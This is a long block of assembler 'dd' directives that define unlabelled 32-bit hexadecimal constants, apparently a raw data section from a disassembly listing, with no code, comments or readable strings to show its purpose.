		dd 8702847Bh, 0EA5EFC04h, 9B12E8FDh, 4CCB6A34h,	405C3A60h
		dd 50554A2h, 0AB5DBFA8h, 0B66007A1h, 2F6B904h, 1563E1D8h
		dd 0F4034BCAh, 4EB22593h, 26E532C1h, 0D43025F5h, 625269EAh
		dd 17685309h, 2AF44637h, 46450CEh, 0C2BDFABAh, 8D04FACFh
		dd 55CB5B55h, 0FC5F5316h, 13FBB1C7h, 5ED4D06Eh,	755F344Ah
		dd 0C73F0ABDh, 241F7F04h, 0FF10AB01h, 1FBC4B08h, 0EE6E969Eh
		dd 0CA7E569h, 8FD215F6h, 59D68FDh, 0FBEFE580h, 1A990814h
		dd 83CE3057h, 1449B32Eh, 92CA8DAFh, 0A187BF01h,	3A2975F6h
		dd 5C1EF590h, 149196Ch,	0CD58FDh, 3A280304h, 4E7B2CD8h
		dd 0BC6617C6h, 51A5B1C5h, 0ACDB4475h, 0FF20C2E1h, 3E5209D1h
		dd 0E8F85D7Ah, 86D40770h, 26E835A5h, 2F151F00h,	0ABF7305h
		dd 0F3810D6Ah, 475B0B9Ah, 0CFC5E068h, 0AD3CC7BBh, 651DE2D3h
		dd 0C2AFB99Bh, 60C1FFCh, 0BBE97A1h, 2E6A724Fh, 2D57F04h
		dd 525DEE29h, 93390A73h, 1BB1C6Ah, 691F4380h, 8F88FE01h
		dd 555E0908h, 0C7C710Bh, 618BC79Dh, 8909457Dh, 0FC84FB29h
		dd 6800CCACh, 98574927h, 88FD9142h, 4713C7C2h, 90099EFBh
		dd 9D05AF2h, 6CA72590h,	268480DDh, 0B871A124h, 0BD8EC344h
		dd 2AB251DBh, 7A55B6E2h, 0CF39B11Bh, 0CDE17BE5h, 34D9E038h
		dd 965679BDh, 69D0BBF9h, 9D957FB8h, 890A2570h, 0EF6C7439h
		dd 70B99816h, 0ED834D0Bh, 42414C1h, 7E74E1C2h, 0FE5A02B9h
		dd 17C034C8h, 68800E80h, 0B4124A2Bh, 0ACF3E1Fh,	1EC1E15Bh
		dd 572AC828h, 4E39EE62h, 3BBDB340h, 4A4C2DC3h, 0C08291A2h
		dd 51C78000h, 0B117EE68h, 0B196BC77h, 0F6DF092Ch, 0D8800E09h
		dd 8878F180h, 0B4E9C809h, 0A4D15ED1h, 0FE56979Ah, 2E847864h
		dd 4DE0C752h, 21050559h, 0E1043F0Fh, 730FAD2Bh,	0ECE90BF6h
		dd 45685660h, 96C21C96h, 713DFA9Ch, 194B2F62h, 2F1E308h
		dd 79E6ED59h, 2B9680E2h, 23970500h, 0C70D2E9Ah,	6F380918h
		dd 9203E8C1h, 724CEDD6h, 28521697h, 0CA68A21Ch,	9916025Fh
		dd 0F73F49B9h, 31080868h, 240EEC24h, 0C83DC36Bh, 0C1C00C43h
		dd 4B8A5AE3h, 11994EEh,	0AE444CABh, 0FAC8F40Bh,	4CEC1AD3h
		dd 1145FB05h, 0E385BAC2h, 0FB8E84BFh, 0E8D0F5B3h, 0B60B9200h
		dd 0F472B849h, 66E9D8E9h, 2D2E3165h, 0F07DAEC1h, 210A443Ah
		dd 5E540455h, 0D36CF7AEh, 677F398Ch, 40B70AB8h,	88ACF780h
		dd 0DD5BFA39h, 0D8417619h, 0B32E524h, 0D521079Fh, 33244557h
		dd 792DA42Eh, 4D11DAC1h, 4C52865Dh, 1C3A0911h, 0CAC035EAh
		dd 5B0501Dh, 4C060FEh, 0D3343004h, 88E1C3E8h, 3BDEB7E3h
		dd 0D42F5727h, 0C56FCD6Ch, 4D15870Bh, 0E4287771h, 5580008h
		dd 10E50693h, 2D510598h, 0E9C38407h, 0F68CE7BDh, 9D53F868h
		dd 17600CB2h, 59815619h, 0E5252DD9h, 0ACB22103h, 3A0EDCE9h
		dd 8674444Ah, 5D576920h, 0DF2312B9h, 2468609Ch,	64864861h
		dd 1DC7C251h, 91B3DD09h, 76998C11h, 0A37A8545h,	97F8A421h
		dd 0CE3D6DCh, 0C7396183h, 0CE30750Bh, 4CC120Dh,	8BEA5B08h
		dd 0BA7C164Eh, 67682240h, 339C35h, 4849B95Eh, 0F101023Bh
		dd 10473BDh, 4156F7EBh,	2A954020h, 6B3EF540h, 0F25D2501h
		dd 420B8221h, 0FC1709B5h, 757A27CAh, 512F742Dh,	3D388B5Dh
		dd 908214Dh, 6F210BF8h,	98D005FFh, 2A60FBB9h, 3D54CEB8h
		dd 9E251F3Fh, 581CA5Ch,	5177B585h, 0B0830830h, 186812C8h
		dd 0DE8CAC04h, 0D69B440h, 0C3435B25h, 0D85F49BCh, 7E7CF1A4h
		dd 8741D107h, 0F7FD424Eh, 0C846DFD7h, 0E1C118C4h, 5EEB24C2h
		dd 0FCF62F75h, 0B58DE879h, 6E608953h, 0FAB52AACh, 96FD89D8h
		dd 0E97825F2h, 50775C95h, 5A80C611h, 0B6815FDh,	6F249A4Eh
		dd 3D7EAD68h, 9582DA64h, 1BA07D1Fh, 0FCE86C37h,	0F05390DFh
		dd 8EEF9253h, 0A9E9120Fh, 0A37A19A1h, 3EE9C215h, 0EA560A40h
		dd 91B81A78h, 0F192105Fh, 0F71ABF09h, 549FB9DCh, 0A70A508Ch
		dd 0DAD614C6h, 0C5279347h, 861F6DD1h, 0E2815C2Ch, 5C176850h
		dd 0FCCC8D7Bh, 7D246951h, 48133757h, 5F7C0Bh, 3719A6F8h
		dd 39E19D4Fh, 940E3931h
		dd 13C0040Ah, 0E9021733h, 0E674F99Eh, 78ED0BDAh, 0DE883999h
		dd 5B5AF101h, 0F806E1C0h, 2FE119D5h, 74A290FCh,	98726762h
		dd 0EFA3689Fh, 0ACB98097h, 6012F3F6h, 12B45D68h, 0B8FB5A8Eh
		dd 0E259C916h, 7714D7C0h, 4B0A254Dh, 0A1D73DE6h, 0FB046F05h
		dd 0DD8B886h, 35E541A4h, 0CFE82AB5h, 0E9160422h, 29EB3227h
		dd 78F96BF4h, 0C6295F0Bh, 61471A57h, 5006600h, 867C196Bh
		dd 83D0D097h, 73CE107h,	3C5A53E4h, 3504F001h, 0D9135227h
		dd 0F7A93F42h, 0A57CE897h, 1070F3BBh, 5316C480h, 52891E51h
		dd 5A03ECF6h, 9E16E0B0h, 2BEA805Fh, 504F1E4Eh, 48B0B800h
		dd 0D8F71017h, 5542022Dh, 0C201C172h, 0F2813C90h, 7780385Eh
		dd 0B79155E9h, 2CF2739Ah, 0F2401AFAh, 138B9892h, 0EE012D6Bh
		dd 0FD3FC201h, 0A02F5B44h, 0C640418Eh, 9B0AFC68h, 721F0992h
		dd 4B4B75E6h, 10387916h, 0F5AC166h, 6F31E919h, 0EAB34A00h
		dd 705EBC0h, 0CBFEDBF6h, 0B6B62680h, 0B82B9241h, 420579F0h
		dd 89FA05EAh, 0EE1696B8h, 7FB7CD5Dh, 25E17936h,	16FDFCDBh
		dd 466817A8h, 100BF358h, 0E91C71EEh, 0AA0116F5h, 0D55464DEh
		dd 88A727E9h, 0A3F00564h, 78ACCB5Ah, 0F680C9D0h, 1F845D1Eh
		dd 2102609Dh, 4E93B8CAh, 0EA8E3060h, 574A193Bh,	52815B84h
		dd 582D3D4Eh, 0C03FF36h, 0D0EAE209h, 834CDF29h,	3081C8BFh
		dd 67871448h, 9C05EE55h, 0AB775179h, 0AB5A5BF3h, 84B39021h
		dd 935B0A9Dh, 2E1BF1ACh, 4AC464A4h, 0C66FBD12h,	153D20BBh
		dd 0A7596851h, 7D6FBA80h, 61BF7369h, 0F9435071h, 0EA604ABCh
		dd 27E94C78h, 3D30BF22h, 1401A90h, 3FFB09CEh, 110B07A8h
		dd 0E5FD22C2h, 3E742F64h, 80F3E258h, 0CFDE0D68h, 5EA70489h
		dd 0A7FCA7D4h, 0B6D0509h, 6638F5ABh, 0F12D543Ah, 3DF7D64Ah
		dd 0A10A042Ah, 0FC3A6403h, 42688F54h, 843B217Bh, 8CAFD0E0h
		dd 31F9DB7h, 60EF1467h,	13F4CE20h, 0EC1F0270h, 0FF134CDh
		dd 2F01F0BBh, 5AD7656h,	3FA14492h, 5462AA04h, 0B68F5709h
		dd 1FA907E2h, 78A0FF80h, 0E917603Eh, 3D8952CAh,	2DFA1CA1h
		dd 577E25A2h, 50CD2901h, 3ABA4A82h, 8E22F25h, 7A6B5641h
		dd 121C1298h, 5B17DB1Dh, 0BA4106C2h, 3A17650Bh,	5681F0B2h
		dd 0C66BDCBEh, 26DBC0D7h, 0F8C3E294h, 0BFFF4B58h, 47B0312Dh
		dd 0D268565Eh, 30E96913h, 0AD3BDFE5h, 572A7E7Ch, 925FEB39h
		dd 0F4520982h, 5937EAEDh, 0B5057C5Ch, 984CB3ABh, 2711DCFCh
		dd 0A07F0D66h, 411798E6h, 9E7C9D12h, 48506B0Bh,	3D4516BCh
		dd 2B921D5Eh, 674044EBh, 0D7A4FC75h, 3B4A22AAh,	11687448h
		dd 2A7B6C16h, 1336BF06h, 922B4C5h, 4E75D8A0h, 42082F6Ah
		dd 7F735920h, 52244E78h, 4F835653h, 1836B835h, 41F9D550h
		dd 120F6FEFh, 865857DDh, 44371E7h, 0B53F5CF3h, 1D01916Eh
		dd 0AA8C0D8Fh, 0C145ECEFh, 8654570Bh, 3428066Ah, 52C56FDBh
		dd 0B800DEC8h, 72F90277h, 5D4D0935h, 0C27F14ACh, 956A44FFh
		dd 164C73C3h, 8755286Eh, 68E49D54h, 83D5309h, 567503Eh
		dd 14B50737h, 8E80AA4Ah, 5AB924E7h, 909AC776h, 26D2DE6h
		dd 9B05248h, 0A3E0461Eh, 0E89ABC3Ch, 4EAAE90Ah,	0E2FCCCCFh
		dd 0E0721A55h, 10D333A9h, 0FDC2350Ah, 1E220C02h, 65BC804Eh
		dd 0B8E86351h, 199F2DCDh, 0EA7A7899h, 5E3543CCh, 0FC80C9A7h
		dd 40C7797Bh, 7C61EF3Dh, 5CF2E90Fh, 0CD9F8E76h,	6F106CDAh
		dd 4B721621h, 0F116066h, 8EC01773h, 47E56940h, 0B6891D02h
		dd 10F20BF6h, 0B8821A53h, 0DFC436E1h, 6128BE87h, 0A0292F6Ah
		dd 17E08F5h, 5851D3B6h,	310124BCh, 50E9414Fh, 38527DB2h
		dd 77A100F9h, 2E5CE781h, 4F632D45h, 0EB098654h,	0A4C777C3h
		dd 0ED2410A5h, 525C80BFh, 0C327F9BFh, 222EC70Eh, 4CCD6F5Ah
		dd 0EB07F47Bh, 27C74156h, 9D7AF85Ch, 2F6454FCh,	0E36281F1h
		dd 0B4C3E9A0h, 45304E95h, 3F4AFDF1h, 99E8CF8h, 0F35EA575h
		dd 4C46054Fh, 79AA9E8h,	0DAEDE760h, 894DE412h, 54AB43AAh
		dd 0E998EF32h, 0C5BD4173h, 0A10D1205h, 49E22A42h, 9787FC93h
		dd 101071EFh, 91A23CFh,	0E0C78853h, 533668CBh, 0FD5B9426h
		dd 44133A96h, 2D68FAEFh, 0BF603020h, 81DD7407h,	56F9D0BCh
		dd 0FE3F123Fh, 8C000C5Ah, 8B3626BEh, 132BB02Ah,	4161FE1h
		dd 0AE112528h, 25680568h, 0EBC60AB7h, 0EA7BF520h, 0FB6297E4h
		dd 77EBD2F9h, 4EDD283Ah, 0DFFAFB7Ch, 5E422AF1h,	0E9194858h
		dd 4901BFFCh, 3E09AF68h, 41D38CE3h, 9755AFC7h, 0D7CAF80Dh
		dd 68DB5D04h, 4CC0DAF7h, 736149EAh, 895013EEh, 0E98B09D0h
		dd 0BD8E34F4h, 698D253Ah, 18A7258Ch, 0C7D481Ah,	0F9280EC6h
		dd 0C91F8D1Bh, 291615BDh, 6CFBC0ABh, 557FB64Dh,	6888F104h
		dd 0DAB136FFh, 28250FCEh, 0AE5E5356h, 0A06B9737h, 7752F26Ah
		dd 5A2AB070h, 0BDF4006Ch, 6BEA4DEDh, 0D5C4683Eh, 0B8D17E21h
		dd 6603B4F0h, 0C15CEBE2h, 0DBDD056Bh, 9771C9B8h, 698060F3h
		dd 0E92F5A28h, 0A1F848EEh, 0D72F9494h, 1D8DF0C2h, 3FD13E4Bh
		dd 0AC05612Dh, 5174CB0h, 644D1582h, 78F0B801h, 0A0207565h
		dd 85340509h, 90CBE966h, 0EFC14F84h, 0D70ADAB2h, 0AC1EB31Fh
		dd 401A5702h, 4DA7C3C0h, 3132A6F8h, 46D6640Eh, 762C5D13h
		dd 0BB90551h, 625C29h, 20E691C1h, 0E02DE9F3h, 0D781EA9Bh
		dd 0D8EA9CC9h, 7759BF70h, 20BB4C6Ch, 0B55298FEh, 0D080A814h
		dd 30043F7Ch, 461FE973h, 0DEEF8592h, 0CF66BBAh,	0C9257925h
		dd 0B2C2B1F6h, 44704979h, 685D5800h, 15E6B55Bh,	1D4B5010h
		dd 0DDD3C109h, 0BE984E56h, 779A000Dh, 0F02D3096h, 4258EB7Bh
		dd 0CBEFB4DCh, 5B5023Bh, 7B091978h, 0FD2D0167h,	2B3D7C07h
		dd 0B1929FF8h, 0B04F1071h, 0B2BD88B7h, 464041F9h, 39CDE33Bh
		dd 71F925F7h, 4BE94291h, 0D49DC678h, 0BEE97004h, 3196369h
		dd 0D2D02881h, 0B891C804h, 0D27D0D3Bh, 40A48970h, 463C94B4h
		dd 0C9042376h, 4776372Dh, 7A23D0EFh, 548EF5Ah, 8329050Dh
		dd 0D4A16914h, 0E0F41E83h, 4EC04AF9h, 92A6010Eh, 0F136561Eh
		dd 0BF2BAABEh, 0BCF2574Ah, 0B7E190E4h, 86E86633h, 0CD98647Ch
		dd 0F106CC51h, 0FBD6705Bh, 316574FDh, 422DC278h, 89A0D4BCh
		dd 96F5E3F5h, 9C88FA15h, 0CDBA004Dh, 0BD6A9A3Eh, 45DEB04h
		dd 2CBF317Bh, 5B77E994h, 0D036A9B7h, 0ACEA045Fh, 80376A45h
		dd 7616FE59h, 4D183260h, 8025BE0Bh, 46FC1C80h, 0E47EC080h
		dd 0D041B840h, 1C68081Ch, 91E90514h, 103EA9E7h,	324C1749h
		dd 115DF70Eh, 8B5709A9h, 5E59FCC0h, 56D36825h, 45E4C284h
		dd 6074BA00h, 0B2F89D1Dh, 0EA292712h, 550463E8h, 0D43E86E9h
		dd 0ACB50F87h, 0D224F993h, 68942CFEh, 0C66ACB25h, 864D2AA7h
		dd 0F9735AA2h, 15E63E2Eh, 501461CEh, 5E246889h,	0FD69940Ah
		dd 1692C60Fh, 0D96A82C3h, 7BF8D105h, 7F3BA80Eh,	0C8AA0913h
		dd 0BBFCA952h, 6878452h, 2337B0Bh, 66A41C0Ch, 84E8F49Ah
		dd 81C5EE45h, 0D398D4B2h, 5B4BC9E9h, 78C5B747h,	8C5A858Bh
		dd 958660A0h, 0C3510285h, 0DD90D337h, 0FD72305Bh, 0F608EF61h
		dd 48E386D7h, 0E525C220h, 309C6D62h, 46667B2Dh,	5F9CF28Dh
		dd 7CB4CAC9h, 0B002CD5Ah, 0B034F468h, 4F8070A1h, 0AD9B9C7h
		dd 0D2E97FEFh, 6C2F6827h, 27D821Eh, 55150A4Dh, 442A0366h
		dd 0EB0588F5h, 71F24A66h, 0F3DD4FFh, 0D32C5F08h, 38167D22h
		dd 745E5h, 0D4C91354h, 0DBC95687h, 0BDD2CFh, 6E6774C3h
		dd 5BDF0944h, 5717F7F2h
		dd 17AF1138h, 0EC17D166h, 538F53AFh, 0BFCB094h,	5E667878h
		dd 7E0EEE10h, 72BA1F5Bh, 0F4E22555h, 0EF5362D4h, 5A06D346h
		dd 7B75BEDFh, 0BE5A848Bh, 4B658569h, 0E9095236h, 89693353h
		dd 2861C8BFh, 85BA723Dh, 315AE00Eh, 2C10BCECh, 0F3810296h
		dd 0E352498Dh, 27FDA420h, 0E1803A05h, 13E1173Eh, 0D044EB87h
		dd 8100B9D0h, 260B91E1h, 6E494030h, 25BE61F0h, 77D12167h
		dd 0D1E8F6C4h, 34FA052Dh, 0E55B5EF4h, 726DBFD1h, 77E15C03h
		dd 282C8007h, 686658E3h, 277DF1B1h, 7985332h, 5C237D0Bh
		dd 0C281A3C9h, 5DA3C18h, 31890BD8h, 103FB514h, 0BF3F768Ah
		dd 29083E07h, 912621BAh, 5FF64028h, 0A762E942h,	0FC505627h
		dd 96688578h, 2F71B37Ch, 0F0D122F7h, 0F49C4E9Fh, 0A5688147h
		dd 1F5F98D6h, 0D1EDD6E6h, 0E7DD2C91h, 0DC5D8AD4h, 76AC4BFAh
		dd 534490F5h, 2B4E527Fh, 2F864EAh, 1C8B5E0Ch, 0AF974D57h
		dd 0FF89A6Bh, 0B9054280h, 412F319Fh, 0A4F2A0ABh, 452C3C63h
		dd 0B563B94Dh, 2C8D983Ah, 80B8BE88h, 2652D068h,	36557E2Fh
		dd 3BFFDA99h, 0E9D7F2B4h, 6B265B7Dh, 0EAE15848h, 0E7C381B9h
		dd 2CE81CA5h, 0A27E4B28h, 0EE88D294h, 4B0E7D3Ch, 501CA8EBh
		dd 561313A0h, 93E07514h, 22D82D68h, 0C704AC66h,	3144E412h
		dd 0DE87ADh, 74707AC6h,	0EA652DE9h, 0B6EB5436h,	19E9C4A1h
		dd 0EC51CAE0h, 16A360EFh, 8003EDC0h, 0A1F62BE6h, 2FF8DB4Fh
		dd 0BDC282A4h, 10E88303h, 40D713DAh, 3E5202C6h,	0A205841Ah
		dd 42CE8706h, 4F483141h, 0A169EB3Bh, 0D20E2D05h, 70358262h
		dd 206FBA00h, 4A342416h, 0D303B87h, 659BC6D1h, 8548942Eh
		dd 8207924h, 0E896E915h, 79B45085h, 0EF355860h,	60FC3733h
		dd 73080C27h, 17C42ABh,	80190A2h, 8A8369E9h, 91F32832h
		dd 0B41ED310h, 0E1CC5430h, 403BFD24h, 35C0E581h, 4C036E2Ch
		dd 0F9DB4403h, 5D562EFEh, 0C4FE7AE8h, 930B5E9Eh, 58CE785Ah
		dd 9802AC48h, 15C6F41h,	0DF0DF3C0h, 78F63200h, 8DB42F05h
		dd 535627D4h, 205A9F5h,	93ED945h, 7937BA7h, 4DF6C9F8h
		dd 2CCAB203h, 0E9D08042h, 0CDAD5FD3h, 53014179h, 54C2DAFh
		dd 169470EBh, 679288AEh, 2C801F14h, 0BF267791h,	0CA1693F1h
		dd 89FD29BFh, 5E77B34Ch, 0FC1E4C69h, 6132261Fh,	0DC60F88Bh
		dd 0D104B2ABh, 9AE2BC8Eh, 27404850h, 0B9803320h, 26FA13DBh
		dd 9105FE37h, 0ACE2C0A5h, 2D2CB05Bh, 7631842Dh,	2D01164Dh
		dd 9F1C206Ch, 57D5700h,	0F97A90BBh, 0F3312034h,	0CC4D120h
		dd 0D0F645B0h, 0E5040404h, 0B82CD934h, 76DFE3D2h, 5EF784E9h
		dd 307F92Dh, 601A905h, 61F89A1Dh, 3301EC13h, 31BC3F14h
		dd 39C02B89h, 0D9EFB8B5h, 5A0EAFEBh, 8AC305C7h,	0F140420Ch
		dd 881FEE4h, 0EE0B64E9h, 139EDBD7h, 483F8078h, 3F5CFA05h
		dd 0D2257BA2h, 0DA79926Ah, 73681673h, 0E3126066h, 6A738659h
		dd 3D207B98h, 90D3B031h, 0A6C596C4h, 59C8E2E8h,	76594CDAh
		dd 3CFA4B87h, 0BB24E932h, 6040268Ch, 0F679BC44h, 0E1857048h
		dd 0F3D9D92Fh, 8001C9FAh, 0EBCCD8C3h, 0E9DBE1E3h, 0A36BC586h
		dd 98B11357h, 102545ADh, 5A93D5E7h, 0AEF407E8h,	0C42B562Dh
		dd 0D312F3E3h, 544DFBFh, 199712FAh, 0E9440EBBh,	9941B112h
		dd 690662CEh, 5D75976Fh, 0B551EC06h, 30B8EA4Eh,	0AB11C514h
		dd 0A393B771h, 46FE18C3h, 9D56BE05h, 0CCBEEE2Fh, 922AE9B7h
		dd 0D6B59F81h, 251B2474h, 0B386546Ah, 0EE02AFC0h, 2F84343Ch
		dd 0E6927F5Dh, 4FF54940h, 5E58A02Dh, 1208A0BAh,	30440968h
		dd 5143B91Ah, 63F7E9A2h, 73481713h, 9323A8C2h, 0F8B42616h
		dd 9639FEEEh, 49571F22h, 20F1700Bh, 690368E1h, 4FCB773Ch
		dd 0E2806C50h, 3914F3C9h, 7EAE523Ah, 1068217h, 44B3EB2h
		dd 2668559Ch, 933F4A9Ah, 0FC94F19Fh, 0C8E9F478h, 7014680Bh
		dd 13875F71h, 0C1613B64h, 0C62B02E3h, 74806EAh,	0F12B0BD6h
		dd 0EE8D83F8h, 46FD8012h, 55DE1401h, 0E90908BDh, 3F7890CFh
		dd 8BE0289Eh, 9E14AC70h, 6E4E0B21h, 0A1E14307h,	6428AD06h
		dd 82F3D1FEh, 7596C522h, 0E9BC824Fh, 0D7D64AB2h, 4FC30DD1h
		dd 0D7FBF7B4h, 0B79A0136h, 2FDBBF20h, 62F0EBB4h, 0CB9ED995h
		dd 5D51587Ch, 5EA11B30h, 56A4995h, 0FEC75F04h, 0C60A58Bh
		dd 1F22E954h, 0EA27339Ah, 5B455859h, 0BA40135Dh, 0C866C204h
		dd 2DAFFAD1h, 4C3174D8h, 0BE0052CAh, 4AD210B2h,	1C5F1DE9h
		dd 27689928h, 6A98422Dh, 0B0503848h, 4C61F7B3h,	5FF8290Dh
		dd 9897F66Eh, 133CB80Ch, 149E360h, 0FF3772C4h, 0E0057B79h
		dd 0E3206792h, 4E5F8EF0h, 719AB13Dh, 7AC8CD43h,	0E985CAE2h
		dd 0BA7CD001h, 742E4362h, 701F2E7Ah, 6FEEBDB1h,	1DCA207h
		dd 0AB838A76h, 0CB24BC5Dh, 8BEDC2D5h, 45608h, 5BC86AD9h
		dd 48133D35h, 0B5000A87h, 111C5F3Ah, 0A7E70781h, 6229537Bh
		dd 694365CFh, 0FFEFD405h, 0A604E10Ah, 38E9DAC6h, 51562E01h
		dd 6BCA2904h, 4D990D80h, 89702EDDh, 24C78260h, 0E4606D2Fh
		dd 0E5831DF0h, 0F27B3DFFh, 7B09FE1h, 0C50CEF0h,	0B964C03Ch
		dd 0F958825Eh, 0E926317Ch, 5FA500E8h, 2DFEEB14h, 21EEDD5Ah
		dd 0BF2A27A3h, 16B9042Fh, 7CC34CEBh, 1F72E9F7h,	11FFCC80h
		dd 0E5E935D8h, 243F04Dh, 953EF3BFh, 8E094322h, 60B9F0Dh
		dd 0E94E30DFh, 0F5DC5FD4h, 0E7556007h, 182C5817h, 4C8AA712h
		dd 80702660h, 0CCE638C4h, 0E42F6576h, 25867016h, 0E4784AE9h
		dd 74FF4C9Fh, 55FFC74h,	8B5AD729h, 0CF7DEB34h, 0A135B83Eh
		dd 0C72CBB23h, 9ECDEBD2h, 0B4D0FD2Ah, 41356FE4h, 0C3416BB2h
		dd 6F751526h, 0D2D23AF4h, 4840F1Ah, 50C4CBC0h, 0CDE7F36h
		dd 0EA964C7h, 44BCF3C0h, 0BC904A43h, 87C24000h,	73245303h
		dd 16CA03E9h, 0B8DEB77Eh, 46681296h, 52853EADh,	5CAD8899h
		dd 5A196413h, 0A8CE12BFh, 658EB0B6h, 4B2F3074h,	4F2AB188h
		dd 75E92016h, 0B92BF9B1h, 9030C93Bh, 0B1AAA491h, 0C6750814h
		dd 5B575304h, 2CC10497h, 0C48173CBh, 37E73A7Bh,	33503029h
		dd 88A55968h, 7CD46F07h, 5D17816Fh, 0E2CE3DBAh,	9CCC7F93h
		dd 0D9C2574Bh, 620AD67Dh, 8DFC21ECh, 2CFB55C4h,	380F9CF5h
		dd 0E05E1FAFh, 0E39C4F6h, 9FE91318h, 2A822DB8h,	5CE00EF8h
		dd 683A5155h, 7AB7FB31h, 0A3D30268h, 0CD89B32Fh, 40557957h
		dd 6D09A7EBh, 5101293Bh, 0E408058Dh, 0D64168FCh, 0A004F83Fh
		dd 951E828h, 2FE944B1h,	45887E0h, 0B67FB490h, 0B753F803h
		dd 99F780FAh, 33EF5E9h,	81E5D14Ah, 3A9594B8h, 9E14574Bh
		dd 6F9E804Dh, 20E95A86h, 8C90FE56h, 895F253Eh, 54E82111h
		dd 0E368780Eh, 97A9354Bh, 40DDCC4h, 0C289565Eh,	0C2F50EDh
		dd 0C17C3189h, 0F408E725h, 0AB7234C8h, 0BED638B3h, 0A031523Ch
		dd 4B64E94Ch, 0F064EEFDh, 50218987h, 0D1305B12h, 72C13C9h
		dd 0D8CF8FBh, 34DF47E9h, 8661BC2Bh, 20D9A620h, 0BA16149h
		dd 1EEE6D95h, 622F2F58h, 5C46E1E1h, 0BAD7E16Ch,	0B036FB91h
		dd 0DF14F92Bh, 0FFFA3709h, 0E8978DECh, 81E23A2Eh, 3A7DD95Eh
		dd 68833BECh, 43302660h, 5BBD2745h, 7F7A3D58h, 1EFC851Ah
		dd 0FD49DD56h, 0AFF2EFA2h, 8E815905h, 8801A96Ah, 58E1C8D4h
		dd 0C8EE7BB0h, 91C560F3h, 0CAED2960h, 489D59D9h, 3E04D90Bh
		dd 0EF53BF96h, 62E670F1h, 0B20BD8B2h, 4B7FF0E4h, 33FACC09h
		dd 9203B41h, 350B95CCh,	4EB423C7h, 6FFB353h, 89B64B9Dh
		dd 0ABC4EB09h, 0DE31058Eh
		dd 7640A71Eh, 0E9091F3Eh, 173749D3h, 27084B02h,	7BDF5F2Dh
		dd 0F00D9383h, 0CF508042h, 67890FDh, 96927C99h,	80612609h
		dd 0B327C1B9h, 12DFF275h, 0B9E112E9h, 98F5F2Dh,	25FFE90Eh
		dd 0A151B816h, 6B09BD55h, 9AE90181h, 0B313002Bh, 4AEB80D9h
		dd 18D3F63Eh, 0E3F3E2B4h, 0E66D1329h, 850F0715h, 0F83F266Ah
		dd 167E0E0Ch, 3E75A801h, 855B1118h, 4C8BF910h, 20CE0466h
		dd 0D78B582Eh, 98D7311Ch, 0CDE908FAh, 0B0EE84BDh, 95580AE0h
		dd 0E9628E5Ch, 0BB62483Bh, 392713D3h, 0C606F209h, 4BD3AE85h
		dd 0E0548D4Ch, 0D82588D0h, 0EB74FC5Bh, 0F91C8AD7h, 0F76F5651h
		dd 578727ADh, 0B3530C18h, 8851A20Ah, 0CE12E3DDh, 64AB79AFh
		dd 0EF4B686Eh, 0A54D67BEh, 0A144EF5Eh, 8A1EAFA0h, 0A4140E23h
		dd 0CCA917EEh, 0B218BB78h, 0D96EF30Eh, 13F0A05Bh, 3BF56Ch
		dd 0E5A79164h, 0E94E312Ch, 0A0CF2509h, 2F1FE2A7h, 0F06A4AC9h
		dd 49122C0Fh, 0A702892Ah, 0DDD443E9h, 0F10B8D52h, 981F53h
		dd 29F8C19Ch, 1D5B6055h, 8D417EE9h, 0EC177640h,	0CD5BB9h
		dd 0BC685374h, 57092636h, 25B386E9h, 32F2CF0Bh,	68525180h
		dd 0E51228C1h, 15C25A2Ah, 7759E43Ah, 0B0C55DDEh, 7802BD00h
		dd 0D5F7355Ch, 20785148h, 0B7C4B021h, 0EE706F78h, 8131F17Dh
		dd 68B81A0Fh, 27416DC4h, 25714429h, 28646127h, 0D6777606h
		dd 5001E67Fh, 172F5468h, 0BD9581Dh, 0B9FB303Bh,	0F1F0474h
		dd 278B912Dh, 0CA391A03h, 5E6358BBh, 4FB0E312h,	68839CFCh
		dd 0FF840C1Ch, 4179B8B3h, 0A73CA0C5h, 0ACA4A100h, 59CE0912h
		dd 1D680557h, 770F45Ch,	0E1D2C6C5h, 6C290F52h, 0FD084187h
		dd 24208146h, 0E91956B8h, 0ED6EDED1h, 88BED3C6h, 969E9DBh
		dd 9A145525h, 0D6820771h, 0B2310965h, 0D9603BFDh, 0A63AC218h
		dd 45BE4BB3h, 27F6EF81h, 47EA952Dh, 52A26899h, 60FF4C1Eh
		dd 90B636Fh, 0EBE92D83h, 5077458h, 75EC1034h, 985ACBA2h
		dd 1FF0B1C2h, 5659CF88h, 5C1682C7h, 7B98B2C3h, 0F8C96167h
		dd 34FCDBF4h, 0A2F2C23Ah, 0CCDA1877h, 302D813Fh, 305CFC90h
		dd 70528F1h, 16AD594Bh,	0EDD42084h, 8B69648h, 3A50475Dh
		dd 739326h, 0F21839B9h,	0E92F4901h, 0B0EA6BA5h,	2482F9FCh
		dd 124A5173h, 4A32BC22h, 0FFD222A8h, 60BFDA52h,	0BF51E97Fh
		dd 286FD0A8h, 854FB2F0h, 84191E28h, 0D5AC312Dh,	3225EF9Ch
		dd 0C4A17996h, 902FC04Fh, 64F9948h, 17345E9h, 0FD5D1FB6h
		dd 6FFB58E9h, 0EDB20F77h, 0BBE25697h, 1A84FCAh,	0FAAB09B6h
		dd 2C80E37Bh, 66F828ABh, 9B09852h, 30B0B61Bh, 0A1B80182h
		dd 263497F7h, 65A31203h, 5AA4ACBEh, 5429CEF6h, 0B842C282h
		dd 34605305h, 0B77DC268h, 26B7C6C5h, 8650171h, 1396946Fh
		dd 6A7C2D08h, 52EDCE44h, 0E7E1C007h, 50A63380h,	7FF4AAE1h
		dd 5ADD16A5h, 16521634h, 988DFB2h, 78C25CCFh, 214318D5h
		dd 0AF0EB1A7h, 5412A959h, 0B3F87C21h, 57EEB850h, 2B922710h
		dd 0E5801970h, 75E038D4h, 1FFD012Ch, 0E9160820h, 0DBD18ADFh
		dd 0A261089Ah, 3035BC7Bh, 0F60798C1h, 4B27B8D2h, 796B37Eh
		dd 34ED0ADCh, 73A63CD2h, 23EA6FFh, 6EDD2627h, 64688E40h
		dd 1549B424h, 3F15D903h, 54C9B07Ah, 659F265Bh, 0F6D008Bh
		dd 0CA292BF5h, 0F86B7E9Fh, 0C260E6E9h, 1510CA6Dh, 0F47176C8h
		dd 0A0122C64h, 23F525EDh, 39E9F46h, 267AB92Ch, 0CBD778F6h
		dd 96954BD8h, 2419E8Fh,	3451643Bh, 9BC976E0h, 0A0CBAE28h
		dd 2A27743Dh, 0ED50A802h, 23AE5F08h, 0B80AE916h, 82AB7653h
		dd 4FDD5AC6h, 10BB24A5h, 6F074E27h, 0CFA2C329h,	6A3E54B3h
